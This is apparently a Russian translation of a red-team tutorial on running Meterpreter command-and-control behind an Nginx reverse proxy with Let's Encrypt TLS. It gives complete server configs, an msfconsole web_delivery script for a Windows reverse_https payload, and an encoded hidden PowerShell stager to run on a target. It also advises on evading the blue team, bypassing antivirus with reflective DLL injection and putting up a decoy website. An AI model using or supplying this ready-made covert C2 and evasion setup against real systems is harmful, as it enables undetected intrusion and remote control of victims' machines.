Перевод: Руководство RED TEAM - #5

Перевод: Руководство RED TEAM - #5

@Ent_TranslateIB

Meterpreter и обратный прокси-сервер Nginx

Введение

Если вы играли с Meterpreter в средах с высоким уровнем мониторинга, вы, вероятно, знаете, что опции plug-and-play вам не подойдут. Вам необходимо скрыть трафик C2 (командного-управляющего) среди обычного веб-трафика в сети, поэтому вам придется использовать расширенные опции, такие как HandlerSSLCert, OverrideRequestHost и EnableStageEncoding, наряду с использованием системных портов, таких как 80/HTTP или 443/HTTPS.

Настройка слушателя на системном порту (0-1023) требует административных привилегий, но если вы запустите Meterpreter с sudo или от имени пользователя root, Meterpreter сообщит вам, что PayloadUUIDTracking не будет работать (помимо всего прочего). Есть несколько хаков, чтобы заставить это заработать, например setcap CAP_NET_BIND_SERVICE, но ни одно из этих так называемых "решений" не способствует общей безопасности, а вы ведь хотите, чтобы ваш C2 сервер был безопасным, верно? Вот тут-то и приходит на помощь Nginx.

Как программное обеспечение, предназначенное для обработки веб-трафика с явной целью превзойти веб-сервер Apache, Nginx является одним из наиболее используемых веб-серверов в мире. Nginx использует гораздо меньше памяти, чем Apache, и может обрабатывать примерно в четыре раза больше запросов в секунду. Я не знаю, насколько последнее важно для трафика C2 как такового, но с тех пор, как пару лет назад я перешел от использования Apache в качестве основного веб-сервера к Nginx, я никогда не возвращался назад. Простота установки, легкий программный пакет, общая производительность и простая конфигурация виртуального хоста сделали меня настоящим фанатом Nginx.

Кстати, я использую Ubuntu почти для всех своих серверов C2, так что если вы хотите копировать команды, вы знаете, какую ОС использовать 😉.

Ладно, продолжим!

ШАГИ, КОТОРЫЕ НЕОБХОДИМО ПРЕДПРИНЯТЬ

1. Установка Nginx

2. Установка Letsencrypt (SSL)

3. Настройка Nginx для домена C2 и Meterpreter

4. Установка Meterpreter и настройка слушателя.

5. (необязательно) Выйти за рамки

1. Установка Nginx

  • Убедитесь, что ваш сервер C2 находится в актуальном состоянии:

$ sudo apt update && sudo apt upgrade -y

  • Установите Nginx

$ sudo apt install nginx

  • Откройте /etc/nginx/sites-enabled/default с помощью вашего любимого текстового редактора
  • Добавьте эту строку где-нибудь внутри раздела server {}:

include snippets/letsencrypt.conf;

Чтобы перенаправить запросы на обновление от Letsencrypt на следующем шаге в соответствующий веб-каталог, нам нужно добавить небольшую конфигурацию в Nginx. Это пригодится нам в дальнейшем, когда мы будем создавать пользовательскую конфигурацию Nginx.

  • Создайте файл /etc/nginx/snippets/letsencrypt.conf с помощью вашего любимого текстового редактора и добавьте следующее:

location ^~ /.well-known/acme-challenge/ {
default_type "text/plain";
root /var/www/html;
}

  • Перезагрузите Nginx (важно!):

$ sudo systemctl reload nginx

2. Установка Letsencrypt (SSL)

Ubuntu поставляется с предустановленным Snapd, поэтому не беспокойтесь об установке дополнительного программного обеспечения, если вы не слышали о Snapd раньше.

  • Убедитесь, что ваша версия snapd обновлена:

$ sudo snap install core; sudo snap refresh core

  • Установите Certbot:

$ sudo snap install --classic certbot

  • Подготовьте команду Certbot:

$ sudo ln -s /snap/bin/certbot /usr/bin/certbot

Укажите DNS вашего домена C2 на ваш сервер C2, если вы еще не сделали этого. Затем выполните следующую команду для запроса SSL-сертификата:

$ sudo certbot certonly --webroot -w /var/www/html -d myc2domain.com -d www.myc2domain.com

Если все прошло нормально, вы получите свежие сертификаты, установленные в каталоге /etc/letsencrypt/live/myc2domain.com/. Обычно этого достаточно для любого сайта, который вы размещаете, но мы также хотим использовать этот SSL-сертификат для Meterpreter, чтобы полностью зашифровать трафик между нашей целью и Meterpreter. Для этого соедините закрытый ключ и сертификат:

$ cat /etc/letsencrypt/live/myc2domain.com/privkey.pem /etc/letsencrypt/live/myc2domain.com/cert.pem | sudo tee /etc/nginx/ssl/unified.pem >/dev/null

АВТОМАТИЗИРУЙТЕ ЭТО

Я всегда настраиваю задание cron для автоматического обновления сертификата Letsencrypt и создания/обновления унифицированного сертификата, который будет использоваться Meterpreter.

  • Отредактируйте crontab root:

$ sudo crontab -e

  • Добавьте следующее:

# LETSENCRYPT RENEW
@weekly
certbot renew >> /root/certbot.log 2>&1
@weekly
cat /etc/letsencrypt/live/myc2domain.com/privkey.pem /etc/letsencrypt/live/myc2domain.com/cert.pem > /etc/nginx/ssl/unified.pem

3. Настройка Nginx для домена C2 и Meterpreter

Итак, теперь, когда у вас есть необходимые SSL-сертификаты, пришло время настроить Nginx.

  • Перейдите в каталог /etc/nginx/sites-available и создайте новый файл myc2domain.com с помощью вашего любимого текстового редактора.
  • Добавьте следующую конфигурацию:
server {
  listen 80 default_server;
  listen [::]:80 default_server;
  server_name _;
  include snippets/letsencrypt.conf;
  location / {
    return 301 https://$host$request_uri;
  }
}
server {
  listen 443 ssl default_server;
  listen [::]:443 ssl default_server;
  server_name _;
  root /var/www/html;
  index index.html index.htm index.nginx-debian.html;
  include snippets/letsencrypt.conf;
  location / {
    try_files $uri $uri/ =404;
  }
  # Hide Nginx version
  server_tokens off;
  # SSL configuration
  #
  ssl_certificate /etc/letsencrypt/live/myc2domain.com/fullchain.pem;
  ssl_certificate_key /etc/letsencrypt/live/myc2domain.com/privkey.pem;
  ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
  ssl_prefer_server_ciphers on;
  ssl_ciphers ‘EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH’;
  # Metasploit
  location /session/ {
    proxy_pass https://127.0.0.1:9443/session/;
    proxy_ssl_verify off;
    proxy_ssl_trusted_certificate /etc/nginx/ssl/unified.pem;
    proxy_ssl_server_name on;
  }
  location /update/ {
    proxy_pass https://127.0.0.1:9443/update/;
    proxy_ssl_verify off;
    proxy_ssl_trusted_certificate /etc/nginx/ssl/unified.pem;
    proxy_ssl_server_name on;
  }
  location ~ /\.ht {
    deny all;
  }
}

Приведенная выше конфигурация:

  • Перенаправляет трафик порта 80/HTTP на 443/HTTPS;
  • Включает в себя магию Letsencrypt из шага 1;
  • Скрывает версию Nginx; и
  • Перенаправляет запрос в /session/ и /update/ на прослушиватель Meterpreter, который мы настроим на шаге 4.

АКТИВИРУЙТЕ ЭТУ НОВУЮ КОНФИГУРАЦИЮ

  • Перейдите в /etc/nginx/sites-enabled
  • Удалите default
  • Символическая ссылка на вашу новую конфигурацию (обратите внимание на точку в конце):

$ sudo ln -s ../sites-available/myc2domain.com .

  • Перезагрузите Nginx (важно!):

$ sudo systemctl reload nginx

4. Установка Meterpreter и настройка слушателя

Установка

Взято из https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

Следующий вызов скрипта импортирует ключ подписи Rapid7 и настроит пакет Meterpreter для поддерживаемых систем Linux и macOS:

# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
 chmod 755 msfinstall && \
 ./msfinstall

Обратите внимание на # перед командой, которую дал нам Rapid7. Сначала станьте пользователем root 

sudo su - и затем выполните описанную выше команду для установки Meterpreter на ваш сервер C2. После установки вы должны вернуться к учетной записи пользователя, набрав exit.

НАСТРОЙКА СЛУШАТЕЛЯ

  • Запуск Meterpreter: msfconsole
  • Замените myc2domain.com (3 раза) на ваш реальный домен C2 в тексте ниже, а затем вставьте все в Meterpreter:
setg AutoSystemInfo false
setg VERBOSE true
setg EnableStageEncoding true
setg ConsoleLogging true 
setg LogLevel 5 
setg SessionLogging true 
setg TimestampOutput true
set SessionCommunicationTimeout 3600
set ExitOnSession false
set PayloadUUIDTracking true
set OverrideLHOST www.myc2domain.com
set OverrideLPORT 443
set OverrideRequestHost true
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_https
set ReverseListenerBindaddress 127.0.0.1
set ReverseListenerBindPort 9443
set SSL true
set SSLCERT /etc/nginx/ssl/unified.pem
set HandlerSSLCert /etc/nginx/ssl/unified.pem
set StagerVerifySSLCert true
set SRVHOST 127.0.0.1
set SRVPORT 9443
set URIHOST www.myc2domain.com
set URIPORT 443
set URIPATH update
set LHOST www.myc2domain.com
set LPORT 443
set LURI session
set target 2
exploit -j -z

Объяснение:

Поскольку мне нравится немного больше информации о моих соединениях C2, я всегда включаю дополнительные опции протоколирования, прежде чем делать что-либо еще. Чтобы посмотреть, что делает любая из вышеперечисленных опций, введите advanced в оболочке Meterpreter.

Наиболее важными опциями из приведенного выше текста являются включение PayloadUUIDTracking (нажмите для получения дополнительной информации), открытие порта 9443 (не нужны права администратора) только для локальных соединений (127.0.0.1), но вместо этого использование myc2domain.com:443 в качестве информации для полезной нагрузки с помощью таких параметров, как OverrideLHOST, и установка пользовательского пути URI для слушателя и stager, который будет направлять соединение от цели к нашему веб-серверу Nginx, который будет проксировать соединение на 127.0.0.1:9443.

Вывод:

[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] [2021.09.10–19:13:55] Started HTTPS reverse handler on https://127.0.0.1:9443/session
[*] [2021.09.10–19:13:55] Using URL: https://127.0.0.1:9443/update
[*] [2021.09.10–19:13:55] Server started.
[*] [2021.09.10–19:13:55] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABv
...
WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAYQB0AGUAJwApACkAOwA=

Теперь просто скопируйте команду powershell на целевой компьютер Windows и выполните ее! Если вы все сделали правильно, вы должны получить полностью зашифрованный сеанс Meterpreter, доступный через стандартные веб-порты для уменьшения риска обнаружения командой Blue team.

5. (необязательно) Выйти за рамки

Обход AV

Если все вышесказанное было для вас " мелочью", возможно, вам стоит обратить внимание на другое: обход Windows Defender (и других антивирусных решений).

Предыдущий учебный материал RED TEAM, который я написал, учит вас обходить Windows Defender, не используя стандартную полезную нагрузку Meterpreter, а добавляя дополнительные уровни обфускации и шифрования. В нем также рассказывается о том, как использовать технику под названием "Reflective DLL Injection" для запуска полезной нагрузки в памяти и, следовательно, снижения риска обнаружения командой Blue team.

Поддельный веб-сайт

Помните конфигурацию Nginx, которую мы активировали в шаге 3? Директория, из которой Nginx обслуживает файлы, по умолчанию /var/www/html. Если вы больше ничего не измените, Nginx будет обслуживать приветственную страницу по умолчанию, которая установлена в этом каталоге. Опытные команды Blue team знают, что искать, то есть они заметят стандартную страницу приветствия Nginx, когда между вашим целевым и C2-сервером будет много запросов. Вот почему вы никогда не должны оставлять страницу по умолчанию, а потратить немного времени на создание своей собственной.

Я всегда использую готовые шаблоны с сайта https://www.free-css.com/free-css-templates и изменяю первую страницу, чтобы она соответствовала домену C2.


Перевод статьи был выполнен проектом перевод энтузиаста:

  • 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
  • 🔥 @Ent_Translate - Инстаграм проекта

Report Page